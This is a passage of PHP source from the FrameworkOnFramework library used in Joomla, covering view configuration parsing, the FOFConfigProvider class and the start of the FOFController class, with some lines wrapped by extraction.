$ret['views'][$key]['acl'] = array();
$aclData = $aView->xpath('acl/task');
if (!empty($aclData))
{
foreach ($aclData as $acl)
{
$k = (string) $acl['name'];
$ret['views'][$key]['acl'][$k] = (string) $acl;
}
}
// Parse taskmap
$ret['views'][$key]['taskmap'] = array();
$taskmapData = $aView->xpath('taskmap/task');
if (!empty($taskmapData))
{
foreach ($taskmapData as $map)
{
$k = (string) $map['name'];
$ret['views'][$key]['taskmap'][$k] = (string)
$map;
}
}
// Parse controller configuration
$ret['views'][$key]['config'] = array();
$optionData = $aView->xpath('config/option');
if (!empty($optionData))
{
foreach ($optionData as $option)
{
$k = (string) $option['name'];
$ret['views'][$key]['config'][$k] = (string)
$option;
}
}
// Parse the toolbar
$ret['views'][$key]['toolbar'] = array();
$toolBars = $aView->xpath('toolbar');
if (!empty($toolBars))
{
foreach ($toolBars as $toolBar)
{
$taskName = isset($toolBar['task']) ? (string)
$toolBar['task'] : '*';
// If a toolbar title is specified, create a title element.
if (isset($toolBar['title']))
{
$ret['views'][$key]['toolbar'][$taskName]['title']
= array(
'value' => (string) $toolBar['title']
);
}
// Parse the toolbar buttons data
$toolbarData = $toolBar->xpath('button');
if (!empty($toolbarData))
{
foreach ($toolbarData as $button)
{
$k = (string) $button['type'];
$ret['views'][$key]['toolbar'][$taskName][$k] =
current($button->attributes());
$ret['views'][$key]['toolbar'][$taskName][$k]['value']
= (string) $button;
}
}
}
}
}
}
/**
* Return a configuration variable
*
* @param string &$configuration Configuration variables (hashed
array)
* @param string $var The variable we want to fetch
* @param mixed $default Default value
*
* @return mixed The variable's value
*/
public function get(&$configuration, $var, $default)
{
$parts = explode('.', $var);
$view = $parts[0];
$method = 'get' . ucfirst($parts[1]);
if (!method_exists($this, $method))
{
return $default;
}
array_shift($parts);
array_shift($parts);
$ret = $this->$method($view, $configuration, $parts, $default);
return $ret;
}
/**
* Internal function to return the task map for a view
*
* @param string $view The view for which we will be
fetching a task map
* @param array &$configuration The configuration parameters hash
array
* @param array $params Extra options (not used)
* @param array $default ßDefault task map; empty array if
not provided
*
* @return array The task map as a hash array in the format task =>
method
*/
protected function getTaskmap($view, &$configuration, $params,
$default = array())
{
$taskmap = array();
if (isset($configuration['views']['*']) &&
isset($configuration['views']['*']['taskmap']))
{
$taskmap =
$configuration['views']['*']['taskmap'];
}
if (isset($configuration['views'][$view]) &&
isset($configuration['views'][$view]['taskmap']))
{
$taskmap = array_merge($taskmap,
$configuration['views'][$view]['taskmap']);
}
if (empty($taskmap))
{
return $default;
}
return $taskmap;
}
/**
* Internal method to return the ACL mapping (privilege required to access
* a specific task) for the given view's tasks
*
* @param string $view The view for which we will be
fetching a task map
* @param array &$configuration The configuration parameters hash
array
* @param array $params Extra options; key 0 defines the task
we want to fetch
* @param string $default Default ACL option; empty (no ACL
check) if not defined
*
* @return string The privilege required to access this view
*/
protected function getAcl($view, &$configuration, $params, $default =
'')
{
$aclmap = array();
if (isset($configuration['views']['*']) &&
isset($configuration['views']['*']['acl']))
{
$aclmap =
$configuration['views']['*']['acl'];
}
if (isset($configuration['views'][$view]) &&
isset($configuration['views'][$view]['acl']))
{
$aclmap = array_merge($aclmap,
$configuration['views'][$view]['acl']);
}
$acl = $default;
if (isset($aclmap['*']))
{
$acl = $aclmap['*'];
}
if (isset($aclmap[$params[0]]))
{
$acl = $aclmap[$params[0]];
}
return $acl;
}
/**
* Internal method to return the a configuration option for the view.
These
* are equivalent to $config array options passed to the Controller
*
* @param string $view The view for which we will be
fetching a task map
* @param array &$configuration The configuration parameters hash
array
* @param array $params Extra options; key 0 defines the
option variable we want to fetch
* @param mixed $default Default option; null if not defined
*
* @return string The setting for the requested option
*/
protected function getConfig($view, &$configuration, $params, $default
= null)
{
$ret = $default;
if (isset($configuration['views']['*'])
&&
isset($configuration['views']['*']['config'])
&&
isset($configuration['views']['*']['config'][$params[0]]))
{
$ret =
$configuration['views']['*']['config'][$params[0]];
}
if (isset($configuration['views'][$view])
&&
isset($configuration['views'][$view]['config'])
&&
isset($configuration['views'][$view]['config'][$params[0]]))
{
$ret =
$configuration['views'][$view]['config'][$params[0]];
}
return $ret;
}
/**
* Internal method to return the toolbar infos.
*
* @param string $view The view for which we will be
fetching buttons
* @param array &$configuration The configuration parameters hash
array
* @param array $params Extra options
* @param string $default Default option
*
* @return string The toolbar data for this view
*/
protected function getToolbar($view, &$configuration, $params,
$default = '')
{
$toolbar = array();
if (isset($configuration['views']['*'])
&&
isset($configuration['views']['*']['toolbar'])
&&
isset($configuration['views']['*']['toolbar']['*']))
{
$toolbar =
$configuration['views']['*']['toolbar']['*'];
}
if (isset($configuration['views']['*'])
&&
isset($configuration['views']['*']['toolbar'])
&&
isset($configuration['views']['*']['toolbar'][$params[0]]))
{
$toolbar = array_merge($toolbar,
$configuration['views']['*']['toolbar'][$params[0]]);
}
if (isset($configuration['views'][$view])
&&
isset($configuration['views'][$view]['toolbar'])
&&
isset($configuration['views'][$view]['toolbar']['*']))
{
$toolbar = array_merge($toolbar,
$configuration['views'][$view]['toolbar']['*']);
}
if (isset($configuration['views'][$view])
&&
isset($configuration['views'][$view]['toolbar'])
&&
isset($configuration['views'][$view]['toolbar'][$params[0]]))
{
$toolbar = array_merge($toolbar,
$configuration['views'][$view]['toolbar'][$params[0]]);
}
if (empty($toolbar))
{
return $default;
}
return $toolbar;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage config
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2, or later
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
defined('FOF_INCLUDED') or die();
/**
* Reads and parses the fof.xml file in the back-end of a FOF-powered
component,
* provisioning the data to the rest of the FOF framework
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFConfigProvider
{
/**
* Cache of FOF components' configuration variables
*
* @var array
*/
public static $configurations = array();
/**
* Parses the configuration of the specified component
*
* @param string $component The name of the component, e.g.
com_foobar
* @param boolean $force Force reload even if it's already
parsed?
*
* @return void
*/
public function parseComponent($component, $force = false)
{
if (!$force && isset(self::$configurations[$component]))
{
return;
}
if (FOFPlatform::getInstance()->isCli())
{
$order = array('cli', 'backend');
}
elseif (FOFPlatform::getInstance()->isBackend())
{
$order = array('backend');
}
else
{
$order = array('frontend');
}
$order[] = 'common';
$order = array_reverse($order);
self::$configurations[$component] = array();
foreach ($order as $area)
{
$config = $this->parseComponentArea($component, $area);
self::$configurations[$component] =
array_merge_recursive(self::$configurations[$component], $config);
}
}
/**
* Returns the value of a variable. Variables use a dot notation, e.g.
* view.config.whatever where the first part is the domain, the rest of
the
* parts specify the path to the variable.
*
* @param string $variable The variable name
* @param mixed $default The default value, or null if not specified
*
* @return mixed The value of the variable
*/
public function get($variable, $default = null)
{
static $domains = null;
if (is_null($domains))
{
$domains = $this->getDomains();
}
list($component, $domain, $var) = explode('.', $variable, 3);
if (!isset(self::$configurations[$component]))
{
$this->parseComponent($component);
}
if (!in_array($domain, $domains))
{
return $default;
}
$class = 'FOFConfigDomain' . ucfirst($domain);
$o = new $class;
return $o->get(self::$configurations[$component], $var, $default);
}
/**
* Parses the configuration options of a specific component area
*
* @param string $component Which component's configuration to
parse
* @param string $area Which area to parse (frontend, backend,
cli)
*
* @return array A hash array with the configuration data
*/
protected function parseComponentArea($component, $area)
{
// Initialise the return array
$ret = array();
// Get the folders of the component
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($component);
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
// Check that the path exists
$path = $componentPaths['admin'];
$path = $filesystem->pathCheck($path);
if (!$filesystem->folderExists($path))
{
return $ret;
}
// Read the filename if it exists
$filename = $path . '/fof.xml';
if (!$filesystem->fileExists($filename))
{
return $ret;
}
$data = file_get_contents($filename);
// Load the XML data in a SimpleXMLElement object
$xml = simplexml_load_string($data);
if (!($xml instanceof SimpleXMLElement))
{
return $ret;
}
// Get this area's data
$areaData = $xml->xpath('//' . $area);
if (empty($areaData))
{
return $ret;
}
$xml = array_shift($areaData);
// Parse individual configuration domains
$domains = $this->getDomains();
foreach ($domains as $dom)
{
$class = 'FOFConfigDomain' . ucfirst($dom);
if (class_exists($class, true))
{
$o = new $class;
$o->parseDomain($xml, $ret);
}
}
// Finally, return the result
return $ret;
}
/**
* Gets a list of the available configuration domain adapters
*
* @return array A list of the available domains
*/
protected function getDomains()
{
static $domains = array();
if (empty($domains))
{
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
$files = $filesystem->folderFiles(__DIR__ . '/domain',
'.php');
if (!empty($files))
{
foreach ($files as $file)
{
$domain = basename($file, '.php');
if ($domain == 'interface')
{
continue;
}
$domain = preg_replace('/[^A-Za-z0-9]/', '',
$domain);
$domains[] = $domain;
}
$domains = array_unique($domains);
}
}
return $domains;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage controller
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework controller class. FOF is based on the thin
controller
* paradigm, where the controller is mainly used to set up the model state
and
* spawn the view.
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFController extends FOFUtilsObject
{
/**
* @var int Bit mask to enable Routing on redirects.
* 0 = never
* 1 = frontend only
* 2 = backend only
* 3 = always
*/
protected $autoRouting = 0;
/**
* The current component's name without the com_ prefix
*
* @var string
*/
protected $bareComponent = 'foobar';
/**
* The base path of the controller
*
* @var string
*/
protected $basePath;
/**
* The tasks for which caching should be enabled by default
*
* @var array
*/
protected $cacheableTasks = array('browse', 'read');
/**
* The current component's name; you can override it in the
configuration
*
* @var string
*/
protected $component = 'com_foobar';
/**
* A cached copy of the class configuration parameter passed during
initialisation
*
* @var array
*/
protected $config = array();
/**
* An instance of FOFConfigProvider to provision configuration overrides
*
* @var FOFConfigProvider
*/
protected $configProvider = null;
/**
* Set to true to enable CSRF protection on selected tasks. The possible
* values are:
* 0 Disabled; no token checks are performed
* 1 Enabled; token checks are always performed
* 2 Only on HTML requests and backend; token checks are always performed
in the back-end and in the front-end only when format is 'html'
* 3 Only on back-end; token checks are performer only in the back-end
*
* @var integer
*/
protected $csrfProtection = 2;
/**
* The default view for the display method.
*
* @var string
*/
protected $default_view;
/**
* The mapped task that was performed.
*
* @var string
*/
protected $doTask;
/**
* The input object for this MVC triad; you can override it in the
configuration
*
* @var FOFInput
*/
protected $input = array();
/**
* Redirect message.
*
* @var string
*/
protected $message;
/**
* Redirect message type.
*
* @var string
*/
protected $messageType;
/**
* The current layout; you can override it in the configuration
*
* @var string
*/
protected $layout = null;
/**
* Array of class methods
*
* @var array
*/
protected $methods;
/**
* The prefix of the models
*
* @var string
*/
protected $model_prefix;
/**
* Overrides the name of the view's default model
*
* @var string
*/
protected $modelName = null;
/**
* The set of search directories for resources (views).
*
* @var array
*/
protected $paths;
/**
* URL for redirection.
*
* @var string
*/
protected $redirect;
/**
* Current or most recently performed task.
*
* @var string
*/
protected $task;
/**
* Array of class methods to call for a given task.
*
* @var array
*/
protected $taskMap;
/**
* The name of the controller
*
* @var array
*/
protected $name;
/**
* The current view name; you can override it in the configuration
*
* @var string
*/
protected $view = '';
/**
* Overrides the name of the view's default view
*
* @var string
*/
protected $viewName = null;
/**
* A copy of the FOFView object used in this triad
*
* @var FOFView
*/
private $_viewObject = null;
/**
* A cache for the view item objects created in this controller
*
* @var array
*/
protected $viewsCache = array();
/**
* A copy of the FOFModel object used in this triad
*
* @var FOFModel
*/
private $_modelObject = null;
/**
* Does this tried have a FOFForm which will be used to render it?
*
* @var boolean
*/
protected $hasForm = false;
/**
* Gets a static (Singleton) instance of a controller class. It loads the
* relevant controller file from the component's directory or, if it
doesn't
* exist, creates a new controller object out of thin air.
*
* @param string $option Component name, e.g. com_foobar
* @param string $view The view name, also used for the controller
name
* @param array $config Configuration parameters
*
* @return FOFController
*/
public static function &getAnInstance($option = null, $view = null,
$config = array())
{
static $instances = array();
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
$hash = $option . $view;
if (!array_key_exists($hash, $instances))
{
$instances[$hash] = self::getTmpInstance($option, $view, $config);
}
return $instances[$hash];
}
/**
* Gets a temporary instance of a controller object. A temporary instance
is
* not a Singleton and can be disposed off after use.
*
* @param string $option The component name, e.g. com_foobar
* @param string $view The view name, e.g. cpanel
* @param array $config Configuration parameters
*
* @return \FOFController A disposable class instance
*/
public static function &getTmpInstance($option = null, $view = null,
$config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
// Get an input object
if (array_key_exists('input', $config))
{
$input = $config['input'];
}
else
{
$input = null;
}
if (array_key_exists('input_options', $config))
{
$input_options = $config['input_options'];
}
else
{
$input_options = array();
}
if (!($input instanceof FOFInput))
{
$input = new FOFInput($input, $input_options);
}
// Determine the option (component name) and view
$config['option'] = !is_null($option) ? $option :
$input->getCmd('option', 'com_foobar');
$config['view'] = !is_null($view) ? $view :
$input->getCmd('view', 'cpanel');
// Get the class base name, e.g. FoobarController
$classBaseName = ucfirst(str_replace('com_', '',
$config['option'])) . 'Controller';
// Get the class name suffixes, in the order to be searched for: plural,
singular, 'default'
$classSuffixes = array(
FOFInflector::pluralize($config['view']),
FOFInflector::singularize($config['view']),
'default'
);
// Get the path names for the component
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($config['option']);
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
// Look for the best classname match
foreach ($classSuffixes as $suffix)
{
$className = $classBaseName . ucfirst($suffix);
if (class_exists($className))
{
// The class is already loaded. We have a match!
break;
}
// The class is not already loaded. Try to find and load it.
$searchPaths = array(
$componentPaths['main'] . '/controllers',
$componentPaths['admin'] . '/controllers'
);
// If we have a searchpath in the configuration please search it first
if (array_key_exists('searchpath', $config))
{
array_unshift($searchPaths, $config['searchpath']);
}
else
{
$configProvider = new FOFConfigProvider;
$searchPath = $configProvider->get($config['option'] .
'.views.' . FOFInflector::singularize($config['view'])
. '.config.searchpath', null);
if ($searchPath)
{
array_unshift($searchPaths, $componentPaths['admin'] .
'/' . $searchPath);
array_unshift($searchPaths, $componentPaths['main'] .
'/' . $searchPath);
}
}
/**
* Try to find the path to this file. First try to find the
* format-specific controller file, e.g. foobar.json.php for
* format=json, then the regular one-size-fits-all controller
*/
$format = $input->getCmd('format', 'html');
$path = null;
if (!empty($format))
{
$path = $filesystem->pathFind(
$searchPaths, strtolower($suffix) . '.' .
strtolower($format) . '.php'
);
}
if (!$path)
{
$path = $filesystem->pathFind(
$searchPaths, strtolower($suffix) . '.php'
);
}
// The path is found. Load the file and make sure the expected class
name exists.
if ($path)
{
require_once $path;
if (class_exists($className))
{
// The class was loaded successfully. We have a match!
break;
}
}
}
if (!class_exists($className))
{
// If no specialised class is found, instantiate the generic
FOFController
$className = 'FOFController';
}
$instance = new $className($config);
return $instance;
}
/**
* Public constructor of the Controller class
*
* @param array $config Optional configuration parameters
*/
public function __construct($config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
$this->methods = array();
$this->message = null;
$this->messageType = 'message';
$this->paths = array();
$this->redirect = null;
$this->taskMap = array();
// Cache the config
$this->config = $config;
// Get the input for this MVC triad
if (array_key_exists('input', $config))
{
$input = $config['input'];
}
else
{
$input = null;
}
if (array_key_exists('input_options', $config))
{
$input_options = $config['input_options'];
}
else
{
$input_options = array();
}
if ($input instanceof FOFInput)
{
$this->input = $input;
}
else
{
$this->input = new FOFInput($input, $input_options);
}
// Load the configuration provider
$this->configProvider = new FOFConfigProvider;
// Determine the methods to exclude from the base class.
$xMethods = get_class_methods('FOFController');
// Some methods must always be considered valid tasks
$iMethods = array('accesspublic', 'accessregistered',
'accessspecial',
'add', 'apply', 'browse',
'cancel', 'copy', 'edit',
'orderdown',
'orderup', 'publish', 'read',
'remove', 'save', 'savenew',
'saveorder', 'unpublish', 'display',
'archive', 'trash', 'loadhistory');
// Get the public methods in this class using reflection.
$r = new ReflectionClass($this);
$rMethods = $r->getMethods(ReflectionMethod::IS_PUBLIC);
foreach ($rMethods as $rMethod)
{
$mName = $rMethod->getName();
// If the developer screwed up and declared one of the helper method
public do NOT make them available as
// tasks.
if ((substr($mName, 0, 8) == 'onBefore') || (substr($mName, 0,
7) == 'onAfter') || substr($mName, 0, 1) == '_')
{
continue;
}
// Add default display method if not explicitly declared.
if (!in_array($mName, $xMethods) || in_array($mName, $iMethods))
{
$this->methods[] = strtolower($mName);
// Auto register the methods as tasks.
$this->taskMap[strtolower($mName)] = $mName;
}
}
// Get the default values for the component and view names
$classNameParts = FOFInflector::explode(get_class($this));
if (count($classNameParts) == 3)
{
$defComponent = "com_" . $classNameParts[0];
$defView = $classNameParts[2];
}
else
{
$defComponent = 'com_foobar';
$defView = 'cpanel';
}
$this->component = $this->input->get('option',
$defComponent, 'cmd');
$this->view = $this->input->get('view', $defView,
'cmd');
$this->layout = $this->input->get('layout', null,
'cmd');
// Overrides from the config
if (array_key_exists('option', $config))
{
$this->component = $config['option'];
}
if (array_key_exists('view', $config))
{
$this->view = $config['view'];
}
if (array_key_exists('layout', $config))
{
$this->layout = $config['layout'];
}
$this->layout = $this->configProvider->get($this->component .
'.views.' . FOFInflector::singularize($this->view) .
'.config.layout', $this->layout);
$this->input->set('option', $this->component);
// Set the bareComponent variable
$this->bareComponent = str_replace('com_', '',
strtolower($this->component));
// Set the $name variable
$this->name = $this->bareComponent;
// Set the basePath variable
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($this->component);
$basePath = $componentPaths['main'];
if (array_key_exists('base_path', $config))
{
$basePath = $config['base_path'];
}
$altBasePath = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.base_path', null
);
if (!is_null($altBasePath))
{
$platformDirs =
FOFPlatform::getInstance()->getPlatformBaseDirs();
$basePath = $platformDirs['public'] . '/' .
$altBasePath;
}
$this->basePath = $basePath;
// If the default task is set, register it as such
$defaultTask = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.default_task', 'display'
);
if (array_key_exists('default_task', $config))
{
$this->registerDefaultTask($config['default_task']);
}
else
{
$this->registerDefaultTask($defaultTask);
}
// Set the models prefix
if (empty($this->model_prefix))
{
if (array_key_exists('model_prefix', $config))
{
// User-defined prefix
$this->model_prefix = $config['model_prefix'];
}
else
{
$this->model_prefix = $this->name . 'Model';
$this->model_prefix = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.model_prefix', $this->model_prefix
);
}
}
// Set the default model search path
if (array_key_exists('model_path', $config))
{
// User-defined dirs
$this->addModelPath($config['model_path'],
$this->model_prefix);
}
else
{
$modelPath = $this->basePath . '/models';
$altModelPath = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.model_path', null
);
if (!is_null($altModelPath))
{
$modelPath = $this->basePath . '/' . $altModelPath;
}
$this->addModelPath($modelPath, $this->model_prefix);
}
// Set the default view search path
if (array_key_exists('view_path', $config))
{
// User-defined dirs
$this->setPath('view', $config['view_path']);
}
else
{
$viewPath = $this->basePath . '/views';
$altViewPath = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.view_path', null
);
if (!is_null($altViewPath))
{
$viewPath = $this->basePath . '/' . $altViewPath;
}
$this->setPath('view', $viewPath);
}
// Set the default view.
if (array_key_exists('default_view', $config))
{
$this->default_view = $config['default_view'];
}
else
{
if (empty($this->default_view))
{
$this->default_view = $this->getName();
}
$this->default_view = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.default_view', $this->default_view
);
}
// Set the CSRF protection
if (array_key_exists('csrf_protection', $config))
{
$this->csrfProtection = $config['csrf_protection'];
}
$this->csrfProtection = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.csrf_protection', $this->csrfProtection
);
// Set any model/view name overrides
if (array_key_exists('viewName', $config))
{
$this->setThisViewName($config['viewName']);
}
else
{
$overrideViewName = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.viewName', null
);
if ($overrideViewName)
{
$this->setThisViewName($overrideViewName);
}
}
if (array_key_exists('modelName', $config))
{
$this->setThisModelName($config['modelName']);
}
else
{
$overrideModelName = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.modelName', null
);
if ($overrideModelName)
{
$this->setThisModelName($overrideModelName);
}
}
// Caching
if (array_key_exists('cacheableTasks', $config))
{
if (is_array($config['cacheableTasks']))
{
$this->cacheableTasks = $config['cacheableTasks'];
}
}
else
{
$cacheableTasks = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.cacheableTasks', null
);
if ($cacheableTasks)
{
$cacheableTasks = explode(',', $cacheableTasks);
if (count($cacheableTasks))
{
$temp = array();
foreach ($cacheableTasks as $t)
{
$temp[] = trim($t);
}
$temp = array_unique($temp);
$this->cacheableTasks = $temp;
}
}
}
// Bit mask for auto routing on setRedirect
$this->autoRouting = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) .
'.config.autoRouting', $this->autoRouting
);
if (array_key_exists('autoRouting', $config))
{
$this->autoRouting = $config['autoRouting'];
}
// Apply task map
$taskmap = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.taskmap'
);
if (is_array($taskmap) && !empty($taskmap))
{
foreach ($taskmap as $aliasedtask => $realmethod)
{
$this->registerTask($aliasedtask, $realmethod);
}
}
}
/**
* Adds to the stack of model paths in LIFO order.
*
* @param mixed $path The directory (string) , or list of
directories (array) to add.
* @param string $prefix A prefix for models
*
* @return void
*/
public static function addModelPath($path, $prefix = '')
{
FOFModel::addIncludePath($path, $prefix);
}
/**
* Adds to the search path for templates and resources.
*
* @param string $type The path type (e.g. 'model',
'view').
* @param mixed $path The directory string or stream array to
search.
*
* @return FOFController A FOFController object to support chaining.
*/
protected function addPath($type, $path)
{
// Just force path to array
settype($path, 'array');
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
if (!isset($this->paths[$type]))
{
$this->paths[$type] = array();
}
// Loop through the path directories
foreach ($path as $dir)
{
// No surrounding spaces allowed!
$dir = rtrim($filesystem->pathCheck($dir, '/'),
'/') . '/';
// Add to the top of the search dirs
array_unshift($this->paths[$type], $dir);
}
return $this;
}
/**
* Add one or more view paths to the controller's stack, in LIFO
order.
*
* @param mixed $path The directory (string) or list of directories
(array) to add.
*
* @return FOFController This object to support chaining.
*/
public function addViewPath($path)
{
$this->addPath('view', $path);
return $this;
}
/**
* Authorisation check
*
* @param string $task The ACO Section Value to check access on.
*
* @return boolean True if authorised
*
* @deprecated 2.0 Use JAccess instead.
*/
public function authorise($task)
{
FOFPlatform::getInstance()->logDeprecated(__CLASS__ . '::'
.__METHOD__ . ' is deprecated. Use checkACL() instead.');
return true;
}
/**
* Create the filename for a resource.
*
* @param string $type The resource type to create the filename for.
* @param array $parts An associative array of filename information.
Optional.
*
* @return string The filename.
*/
protected static function createFileName($type, $parts = array())
{
$filename = '';
switch ($type)
{
case 'controller':
if (!empty($parts['format']))
{
if ($parts['format'] == 'html')
{
$parts['format'] = '';
}
else
{
$parts['format'] = '.' .
$parts['format'];
}
}
else
{
$parts['format'] = '';
}
$filename = strtolower($parts['name'] .
$parts['format'] . '.php');
break;
case 'view':
if (!empty($parts['type']))
{
$parts['type'] = '.' . $parts['type'];
}
else
{
$parts['type'] = '';
}
$filename = strtolower($parts['name'] . '/view' .
$parts['type'] . '.php');
break;
}
return $filename;
}
/**
* Executes a given controller task. The onBefore<task> and
onAfter<task>
* methods are called automatically if they exist.
*
* @param string $task The task to execute, e.g. "browse"
*
* @throws Exception Exception thrown if the onBefore<task>
returns false
*
* @return null|bool False on execution failure
*/
public function execute($task)
{
$this->task = $task;
$method_name = 'onBefore' . ucfirst($task);
if (!method_exists($this, $method_name))
{
$result = $this->onBeforeGenericTask($task);
}
elseif (method_exists($this, $method_name))
{
$result = $this->$method_name();
}
else
{
$result = true;
}
if ($result)
{
$plugin_event = FOFInflector::camelize('on before ' .
$this->bareComponent . ' controller ' . $this->view .
' ' . $task);
$plugin_result =
FOFPlatform::getInstance()->runPlugins($plugin_event, array(&$this,
&$this->input));
if (in_array(false, $plugin_result, true))
{
$result = false;
}
}
if (!$result)
{
throw new
Exception(JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'),
403);
}
// Do not allow the display task to be directly called
$task = strtolower($task);
if (isset($this->taskMap[$task]))
{
$doTask = $this->taskMap[$task];
}
elseif (isset($this->taskMap['__default']))
{
$doTask = $this->taskMap['__default'];
}
else
{
$doTask = null;
}
if ($doTask == 'display')
{
FOFPlatform::getInstance()->setHeader('Status',
'400 Bad Request', true);
throw new Exception('Bad Request', 400);
}
$this->doTask = $doTask;
$ret = $this->$doTask();
$method_name = 'onAfter' . ucfirst($task);
if (method_exists($this, $method_name))
{
$result = $this->$method_name();
}
else
{
$result = true;
}
if ($result)
{
$plugin_event = FOFInflector::camelize('on after ' .
$this->bareComponent . ' controller ' . $this->view .
' ' . $task);
$plugin_result =
FOFPlatform::getInstance()->runPlugins($plugin_event, array(&$this,
&$this->input, &$ret));
if (in_array(false, $plugin_result, true))
{
$result = false;
}
}
if (!$result)
{
throw new
Exception(JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'),
403);
}
return $ret;
}
/**
* Default task. Assigns a model to the view and asks the view to render
* itself.
*
* YOU MUST NOT USETHIS TASK DIRECTLY IN A URL. It is supposed to be
* used ONLY inside your code. In the URL, use task=browse instead.
*
* @param bool $cachable Is this view cacheable?
* @param bool $urlparams Add your safe URL parameters (see further
down in the code)
* @param string $tpl The name of the template file to parse
*
* @return bool
*/
public function display($cachable = false, $urlparams = false, $tpl =
null)
{
$document = FOFPlatform::getInstance()->getDocument();
if ($document instanceof JDocument)
{
$viewType = $document->getType();
}
else
{
$viewType = $this->input->getCmd('format',
'html');
}
$view = $this->getThisView();
// Get/Create the model
if ($model = $this->getThisModel())
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
// Set the layout
$view->setLayout(is_null($this->layout) ? 'default' :
$this->layout);
// Display the view
$conf = FOFPlatform::getInstance()->getConfig();
if (FOFPlatform::getInstance()->isFrontend() && $cachable
&& ($viewType != 'feed') &&
$conf->get('caching') >= 1)
{
// Get a JCache object
$option = $this->input->get('option',
'com_foobar', 'cmd');
$cache = JFactory::getCache($option, 'view');
// Set up a cache ID based on component, view, task and user group
assignment
$user = FOFPlatform::getInstance()->getUser();
if ($user->guest)
{
$groups = array();
}
else
{
$groups = $user->groups;
}
$importantParameters = array();
// Set up safe URL parameters
if (!is_array($urlparams))
{
$urlparams = array(
'option' => 'CMD',
'view' => 'CMD',
'task' => 'CMD',
'format' => 'CMD',
'layout' => 'CMD',
'id' => 'INT',
);
}
if (is_array($urlparams))
{
$app = JFactory::getApplication();
$registeredurlparams = null;
if (version_compare(JVERSION, '3.0', 'ge'))
{
if (property_exists($app, 'registeredurlparams'))
{
$registeredurlparams = $app->registeredurlparams;
}
}
else
{
$registeredurlparams = $app->get('registeredurlparams');
}
if (empty($registeredurlparams))
{
$registeredurlparams = new stdClass;
}
foreach ($urlparams AS $key => $value)
{
// Add your safe url parameters with variable type as value {@see
JFilterInput::clean()}.
$registeredurlparams->$key = $value;
// Add the URL-important parameters into the array
$importantParameters[$key] = $this->input->get($key, null,
$value);
}
if (version_compare(JVERSION, '3.0', 'ge'))
{
$app->registeredurlparams = $registeredurlparams;
}
else
{
$app->set('registeredurlparams', $registeredurlparams);
}
}
// Create the cache ID after setting the registered URL params, as they
are used to generate the ID
$cacheId = md5(serialize(array(JCache::makeId(), $view->getName(),
$this->doTask, $groups, $importantParameters)));
// Get the cached view or cache the current view
$cache->get($view, 'display', $cacheId);
}
else
{
// Display without caching
$view->display($tpl);
}
return true;
}
/**
* Implements a default browse task, i.e. read a bunch of records and send
* them to the browser.
*
* @return boolean
*/
public function browse()
{
if ($this->input->get('savestate', -999, 'int')
== -999)
{
$this->input->set('savestate', true);
}
// Do I have a form?
$model = $this->getThisModel();
if (empty($this->layout))
{
$formname = 'form.default';
}
else
{
$formname = 'form.' . $this->layout;
}
$model->setState('form_name', $formname);
$form = $model->getForm();
if ($form !== false)
{
$this->hasForm = true;
}
$this->display(in_array('browse',
$this->cacheableTasks));
return true;
}
/**
* Single record read. The id set in the request is passed to the model
and
* then the item layout is used to render the result.
*
* @return bool
*/
public function read()
{
// Load the model
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
// Set the layout to item, if it's not set in the URL
if (is_null($this->layout))
{
$this->layout = 'item';
}
// Do I have a form?
$model->setState('form_name', 'form.' .
$this->layout);
$item = $model->getItem();
if (!($item instanceof FOFTable))
{
return false;
}
$itemKey = $item->getKeyName();
if ($item->$itemKey != $model->getId())
{
return false;
}
$formData = is_object($item) ? $item->getData() : array();
$form = $model->getForm($formData);
if ($form !== false)
{
$this->hasForm = true;
}
// Display
$this->display(in_array('read', $this->cacheableTasks));
return true;
}
/**
* Single record add. The form layout is used to present a blank page.
*
* @return false|void
*/
public function add()
{
// Load and reset the model
$model = $this->getThisModel();
$model->reset();
